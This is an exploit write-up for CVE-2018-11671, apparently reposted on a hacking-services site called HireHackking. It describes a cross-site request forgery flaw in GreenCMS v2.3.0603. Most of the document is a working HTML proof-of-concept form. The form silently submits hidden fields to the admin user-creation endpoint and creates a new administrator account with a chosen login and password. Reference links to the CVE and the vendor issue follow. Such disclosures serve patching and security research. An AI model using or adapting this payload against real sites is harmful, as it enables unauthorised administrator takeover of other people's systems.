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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11671
 
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.

poc:

<span style="font-size:18px;"><!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>csrftest</title>  
</head>  
　　<body>  
    　　　　<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">  
　　　　　　　　<input type="hidden" name="user_id0" value="1">  
　　　　　　　　<input type="hidden" name="user_login" value="test1">
　　　　　　　　<input type="hidden" name="password" value="test1">  
　　　　　　　　<input type="hidden" name="rpassword" value="test1">  
　　　　　　　　<input type="hidden" name="user_nicename" value="123">  
　　　　　　　　<input type="hidden" name="user_email" value="123%40Qq.com">  
　　　　　　　　<input type="hidden" name="user_url" value="www.baidu.com">  
　　　　　　　　<input type="hidden" name="user_intro" value="test">  
　　　　　　　　<input type="hidden" name="user_status" value="1">  
　　　　　　　　<input type="hidden" name="role_id" value="1">
        <button type="submit" value="Submit">add admin</button>  
　　　　　　</form>  
    </body>
</html></span>

References:
http://www.iwantacve.cn/index.php/archives/39/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
https://github.com/GreenCMS/GreenCMS/issues/109